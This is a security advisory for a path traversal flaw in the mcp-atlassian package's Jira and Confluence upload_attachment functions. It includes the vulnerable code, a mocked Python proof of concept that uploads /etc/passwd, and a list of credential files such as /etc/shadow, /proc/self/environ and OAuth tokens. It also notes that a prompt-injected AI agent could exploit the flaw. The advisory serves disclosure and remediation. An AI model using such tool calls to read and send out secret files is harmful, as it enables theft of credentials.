GHSA-mfv2-4wvm-9pgpMediumCVSS 6.5

MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call

Published
September 22, 2026
Last Modified
September 22, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

The upload_attachment functions in both the Jira and Confluence modules accept a user-controlled file_path parameter and open the specified file for reading without calling validate_safe_path(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.

This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the download_attachment and download_issue_attachments paths were hardened with validate_safe_path(), but the upload direction was left unguarded in both the Jira and Confluence modules.


Details

Affected functions:

| File | Function | Line | |------|----------|------| | src/mcp_atlassian/jira/attachments.py | upload_attachment() | ~372–415 | | src/mcp_atlassian/confluence/attachments.py | upload_attachment() | ~62–108 | | src/mcp_atlassian/confluence/attachments.py | _upload_attachment_direct() | ~476–477 |

Jira — vulnerable code path (jira/attachments.py):

def upload_attachment(self, issue_key: str, file_path: str) -> dict:
    ...
    if not os.path.isabs(file_path):
        file_path = os.path.abspath(file_path)   # resolves relative paths

    if not os.path.exists(file_path):             # confirms file exists
        ...

    # ⚠ validate_safe_path() is NEVER called here
    filename = os.path.basename(file_path)
    with open(file_path, "rb") as file:           #  arbitrary file opened
        attachment = self.jira.add_attachment(
            issue_key=issue_key, filename=file_path
        )

Compare with the protected download path in the same file:

def download_attachment(self, url: str, target_path: str) -> bool:
    ...
    validate_safe_path(target_path)   #   upload has no equivalent

Confluence — vulnerable code path (confluence/attachments.py):

def upload_attachment(self, content_id, file_path, ...):
    ...
    if not os.path.isabs(file_path):
        file_path = os.path.abspath(file_path)

    # ⚠ validate_safe_path() is NEVER called
    filename = os.path.basename(file_path)
    attachment = self._upload_attachment_direct(
        content_id, file_path, filename, comment, minor_edit
    )

# Inside _upload_attachment_direct():
files = {"file": (filename, open(file_path, "rb"))}  # ← arbitrary file opened

PoC

Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.

Jira PoC (poc_001_jira_path_traversal.py):

import sys, os, types
from unittest.mock import MagicMock

sys.path.insert(0, "src")

def _make_pkg(name):
    m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m

atlassian_pkg  = _make_pkg("atlassian")
atlassian_jira = _make_pkg("atlassian.jira")
atlassian_pkg.jira = atlassian_jira
atlassian_jira.Jira = type("Jira", (), {
    "__init__": lambda s, *a, **k: None,
    "_session": MagicMock()
})
atlassian_pkg.Jira = atlassian_jira.Jira
keyring = _make_pkg("keyring")
keyring.get_password = keyring.set_password = lambda *a, **k: None

from mcp_atlassian.jira.attachments import AttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig

config = JiraConfig(url="https://test.atlassian.net", auth_type="basic",
                    username="x", api_token="x")

class FakeFetcher(AttachmentsMixin):
    def __init__(self):
        self.config = config
        self.jira   = MagicMock()
        self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"}

result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd")
print(result)

Observed output — Jira (Kali Linux, v0.21.1):

[*] Target file : /etc/passwd
[*] Calling     : AttachmentsMixin.upload_attachment()

[*] Return value: {'success': True, 'issue_key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'}
[*] Files opened: ['/etc/passwd']

[!!!] VULNERABLE — file opened with no path validation
      add_attachment call args: call(issue_key='TEST-1', filename='/etc/passwd')

Observed output — Confluence (Kali Linux, v0.21.1):

[*] Target file : /etc/passwd
[*] Calling     : ConfluenceAttachmentsMixin.upload_attachment()

[*] Return value: {'success': True, 'content_id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'}
[*] Files opened: ['/etc/passwd']

[!!!] VULNERABLE — /etc/passwd opened without validate_safe_path()
      upload_attachment() → _upload_attachment_direct() → open(file_path)
      download_attachment() in same file IS protected — asymmetric fix

Key evidence:

  • success: True — no exception raised, no path validation triggered
  • size: 3388 — /etc/passwd was opened and read by os.path.getsize()
  • Both modules affected independently — neither Jira nor Confluence has an upload-side guard

In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.


Impact

Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process:

  • /etc/shadow — system password hashes
  • /proc/self/environ — process environment variables (API keys, secrets)
  • ~/.mcp-atlassian/oauth-*.json — stored OAuth refresh tokens
  • SSH private keys, TLS certificates, application configuration files

No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the jira_upload_attachment and confluence_upload_attachment MCP tools are affected.

Root cause: The validate_safe_path() utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to download operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.

🎯 Affected products1

  • pip/mcp-atlassian:< 0.22.0

🔗 References (5)